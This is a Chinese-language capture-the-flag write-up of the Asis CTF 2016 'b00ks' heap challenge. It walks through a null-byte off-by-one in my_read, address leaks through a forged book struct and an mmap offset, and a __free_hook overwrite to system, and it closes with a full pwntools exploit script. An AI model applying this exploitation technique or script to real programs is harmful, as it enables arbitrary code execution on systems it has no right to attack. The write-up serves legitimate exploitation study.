Asis CTF 2016 b00ks


0x01:一个图书管理

1
2
3
4
5
6
7
8
9
10
Welcome to ASISCTF book library
Enter author name: ha2ha2ha2

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
>

0x02:程序漏洞

程序中有一个用户自己编写的my_read函数,会在 ptr + len+1处写入一个’\x00’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
signed __int64 __fastcall my_read(_BYTE *ptr, int len)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( len <= 0 )


return 0LL;
buf = ptr;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == len )
break;
}
*buf = 0;
return 0LL;
}

假如说len是32,输入32个字符之后,第33个会被置成\x00


0x03:泄漏book1_struct的地址。

Create_book的时候,会为book name mallloc、book descripeion、book strcut 分别malloc一块儿区域:。
其中book_struct是如下结构:

1
2
3
4
5
6
7
struct book
{
int ID;
void* name;
void* description;
int desc_size;
}

创建book_struct后,会将该book_strcut的地址放到BOOKS[ ]中。

1
2
3
4
5
6
.data:000055ADE8F1B010 BOOKS           dq offset unk_55ADE8F1B060
.data:000055ADE8F1B010 ; DATA XREF: sub_55ADE8D19B24:loc_55ADE8D19B38o
.data:000055ADE8F1B010 ; Delete:loc_55ADE8D19C1Bo ...
.data:000055ADE8F1B018 Author_name dq offset unk_55ADE8F1B040
.data:000055ADE8F1B018 ; DATA XREF: Change_name+15↑o
.data:000055ADE8F1B018 ; Print+CAo

可以看出BOOKS与Author_name相差0x20个字节。

所以如果Anthor写入32个字符后,第33个会被置成\x00,再create一个book的话,会将这个\x00会改掉,就可以在Print功能时,打印Author的时候泄漏处book1_struct的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// leak book1_struct     
// 一开始程序运行输入'A'*32
// 再create('128'.'A','128','B') 此处description的大小因尽量大些,原因请看后续(〃'▽'〃)


// [heap]:
00005586DF65A010 00 00 00 00 00 00 00 00 91 00 00 00 00 00 00 00 ................
00005586DF65A020 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A............... <=book1_name
00005586DF65A030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A0A0 00 00 00 00 00 00 00 00 91 00 00 00 00 00 00 00 ................
00005586DF65A0B0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B............... <= book1_description
00005586DF65A0C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A0D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A0E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A0F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A130 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 ........1....... <= book1_struct
00005586DF65A140 01 00 00 00 00 00 00 00 <=book1_ID 20 A0 65 DF 86 55 00 00 <= book1_name的地址
00005586DF65A150 B0 A0 65 DF 86 55 00 00 <=book1_description的地址 80 00 00 00 00 00 00 00 <= description的大小

// BOOK 和 AuthorName
AuthorName==>
00005586DF1E5040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00005586DF1E5050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BOOK ==>
00005586DF1E5060 40 A1 65 DF 86 55 00 00 <= book1_struct的地址 00 00 00 00 00 00 00 00


// 再Print就能泄漏处book1_struct的地址了

0x04:mmap

由mmap映射出来的区域与libc有固定偏移,所以createbook2的时候,把大小申请得超级大,分配的区域就是mmap映射的,这里用的大小是0x21000。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// [mmap]
00007F69E19B4000 00 00 00 00 00 00 00 00 02 20 02 00 00 00 00 00 ......... ......
00007F69E19B4010 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C.............. <= book2_name
00007F69E19B4020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007F69E19B4030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007F69E19B4040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
.......

00007F69E1992000 00 00 00 00 00 00 00 00 02 20 02 00 00 00 00 00 ......... ......
00007F69E1992010 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D............... <=book2_description
00007F69E1992020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007F69E1992030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007F69E1992040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
.......
1
2
3
4
5
6
7
8
9
// [heap]
00005586DF65A130 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00
book1_struct =>
00005586DF65A140 01 00 00 00 00 00 00 00 20 A0 65 DF 86 55 00 00
00005586DF65A150 B0 A0 65 DF 86 55 00 00 80 00 00 00 00 00 00 00
00005586DF65A160 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00
book2_struct =>
00005586DF65A170 02 00 00 00 00 00 00 00 <=book2_ID 10 40 9B E1 69 7F 00 00 <=book2_name的地址
00005586DF65A180 10 20 99 E1 69 7F 00 00 <=book2_description的地址 00 10 02 00 00 00 00 00 <=book2description的大小

PS:book2_struct的地址这样是在book1_struct + 0x30 处的,泄漏了book1_struct的地址,即也泄漏了book2_struct的地址。


0x05:构造fake_book1 + 0字节覆盖

如果使用Changename函数,AuthorName依旧输入32个字符,那么第33处将会被置\x00,也就是会从上面变成如下所示的状态:

1
2
3
4
00005586DF1E5040  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
00005586DF1E5050 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

00005586DF1E5060 00 A1 65 DF 86 55 00 00 <== /*book1_struct地址的低字节被\x00覆盖*/ 70 A1 65 DF 86 55 00 00 //<=book2_struct的地址

本来储存在BOOKS[0]里的book1_struct的地址由0x00005586DF65A140变成0x00005586DF65A100,所以我们应该把book1_description的地址弄得尽量大,这样就能使fake_book1_struct的地址是落在description的范围的,这样我们就能通过改写book1_description来完善这个fake_book1_struct。
这里我弄得的book1是128的name,128的description,book1 descriprion的范围是:

1
2
3
4
5
6
7
8
9
10
11
12
13
00005586DF65A0B0  42 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  B...............	<= book1_description	
00005586DF65A0C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A0D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A0E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A0F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00005586DF65A120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................


// book1_struct的地址被覆盖后,
// 由0x00005586DF65A140变成0x00005586DF65A100,
// 0x00005586DF65A100是在book1_struct的范围内的。

所以我们可以在book1_description里构造一个fake_book1_struct:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// payload = 'A'*16*5 + p64(1) + p64(book1_addr+0x30+0x8) + p64(book1_addr+0x30+0x8) + p64(0xffff)
// edit_book('1',payload)

00005586DF65A0A0 00 00 00 00 00 00 00 00 91 00 00 00 00 00 00 00 ................
00005586DF65A0B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00005586DF65A0C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00005586DF65A0D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00005586DF65A0E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00005586DF65A0F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
fake_book1_struct ==>
00005586DF65A100 01 00 00 00 00 00 00 00 <= fake_book1_ ID
00005586DF65A108 78 A1 65 DF 86 55 00 00 <= fake_book1_name的地址(其实00005586DF65A178里面存放的是book2_name的地址,这个地址很重要,前面说过,mmap映射的地址与libc有固定偏移,这样就可以在打印fake_book1_desciption的时候泄漏book2name的地址,也就是mmap映射的这块)
00005586DF65A110 78 A1 65 DF 86 55 00 00 <= fake_book1_desciption的地址(其实00005586DF65A178里面存放的是book2_name的地址,这个地址很重要,前面说过,mmap映射的地址与libc有固定偏移,这样就可以在打印fake_book1_desciption的时候泄漏book2name的地址,也就是mmap映射的这块)
00005586DF65A118 FF FF 00 00 00 00 00 00 <= fake_book1_desciption的大小
00005586DF65A120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

PS:要先布置好fake_book1_struct,再去0字节覆盖.
布置fake_book1_struct要在0字节覆盖前一步完成,先Edit book1再ChangeNmae的话会失败,book1_description里的内容改不了,会出现”Can’t find selected book!”
先Edit再Change,Change还没完成(也就是fake_book1_struct还没布置好的时候)就Edit book1的话,会到00005586DF65A100里找ID匹配ID,但这时候,还没布置,里面值是0,ID匹配不上,会报错。


0x06:leak book2_name的地址(mmap的区域)

Print book1就会泄漏处book2_name的地址,原因前面说啦
但是再理一理叭 (〃’▽’〃)
现在BOOK1里是如下:

1
2
3
00005586DF1E5060  00 A1 65 DF 86 55 00 00  <= fake_book1_struct的地址 (book1_struct地址的低字节被\x00覆盖)
00005586DF1E5068 70 A1 65 DF 86 55 00 00 <= book2_struct的地址
.........

fake_book1_struct里如下:

1
2
3
4
5
fake_book1_struct   ==>
00005586DF65A100 01 00 00 00 00 00 00 00 <= fake_book1_ ID
00005586DF65A108 78 A1 65 DF 86 55 00 00 <= fake_book1_name的地址
00005586DF65A110 78 A1 65 DF 86 55 00 00 <= fake_book1_desciption的地址
00005586DF65A118 FF FF 00 00 00 00 00 00 <= fake_book1_desciption的大小 ................

0x00005586DF65A178里如下

1
00005586DF65A178  10 40 9B E1 69 7F 00 00  <=book2_name的地址(mmap映射的区域)

Print book1 name 或者 description的时候都会泄漏出book2_name的地址


0x07 触发

这里通过 调用free函数时,由于__free_hook里面的内容不为NULL,从而执行指向的指令。
泄漏出mmap映射的区域之后,就可以通过与libc的固定偏移得到libc的运行基址。
进而可以找到free_hook函数的地址,system函数的地址,’/bin/sh’的地址。

设置__free_hook里为system的地址

1
2
3
4
5
6
7
// payload = p64(binsh_addr) + p64(free_hook)
// edit_book('1',payload)


fake_book1_description (book2_struct) ==>
00005586DF65A178 57 AD 6C 80 21 7F 00 00 <= binsh_addr
00005586DF65A180 A8 47 90 80 21 7F 00 00 <=free_hook

这里就把book2_struct里的book2_description编程了free_hook的地址,等下再edit 2的时候就是在往free里写字。

1
2
3
4
5
6
// payload = p64(system_addr)
// edit_book('2',payload)

edit(2,payload)
free_hook ==>
00007F21809047A8 90 33 58 80 21 7F 00 00

调用free函数时,由于free_hook里面的内容不为NULL,从而执行指向的指令。
PS这里Delete book1的时候传的参是fake_book1_struct 里的name那个,布置成/bin/sh的地址,调用free的时候,就会把/bin/sh压入栈中,然后
free_hook里不为空且布置成了system函数的地址,所以跳转过去执行system函数,就getshell啦。
妙啊 这些内存!(๑′ᴗ‵๑)


0x08完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

io = process(['./b00ks'],env={'LD_PRELOAD':'./libc.so.6'})
libc = ELF('./libc.so.6')

def create_book(name_size,name,des_size,des):
io.recvuntil('> ')
io.sendline('1')
io.recvuntil(': ')
io.sendline(name_size)
io.recvuntil(': ')
io.sendline(name)
io.recvuntil(': ')
io.sendline(des_size)
io.recvuntil(': ')
io.sendline(des)

def delete_book(ID):
# io.recvuntil('> ')
io.sendline('2')
io.recv()
io.sendline(ID)

def edit_book(ID,des):
# io.recv()
io.sendline('3')
io.recvuntil(': ')
io.sendline(ID)
io.recvuntil(': ')
io.sendline(des)

def print_book():
io.recvuntil('> ')
io.sendline('4')

def change_name(aut_name):
io.recvuntil('> ')
io.sendline('5')
io.recvuntil(': ')
io.sendline(aut_name)

io.recvuntil('Enter author name: ')
io.sendline('A'*32)

create_book('128','A','128','B')
create_book(str(0x21000),'C',str(0x21000),'D')

#leak book1_struct_addr
print_book()
sh = io.recv()
book1_addr = u64(sh[69:69+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))

#fake_book1_struct
payload = 'A'*16*5 + p64(1) + p64(book1_addr+0x30+0x8) + p64(book1_addr+0x30+0x8) + p64(0xffff)
edit_book('1',payload)

#fake_book1_struct_addr
change_name('a'*32)

#leak book2_name_addr
print_book()
sh = io.recv()
book2_name_addr = u64(sh[12:18].ljust(8,'\x00'))
log.success("book2_name_addr:" + hex(book2_name_addr))

#libcbase
offset = 0x7f69e1992000 - 0x7f69e13ea000
mmap = book2_name_addr - 0x22010
libcbase = mmap - offset
log.success("libcbase:" + hex(libcbase))
#other function addr
system_addr = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
free_hook = libc.symbols['__free_hook'] + libcbase

payload = p64(binsh_addr) + p64(free_hook)
edit_book('1',payload)
payload = p64(system_addr)
edit_book('2',payload)
delete_book('2')

io.interactive()

啊,弄完了,开心 ٩(๑>◡<๑)۶


0x09

几个点要注意一下

  • my_read函数存在null byte off-by-one漏洞
  • 泄漏book1_struct的地址,内存布局,刚好能覆盖那个\x00
  • 应该在哪儿伪造fake_book1_struct,\x00覆盖book1_struct地址的最低一个字节,确保落在book1_description里
  • mmap与libc有固定偏移
  • 触发条件,__free_hook里面的内容不为NULL,从而执行指向的指令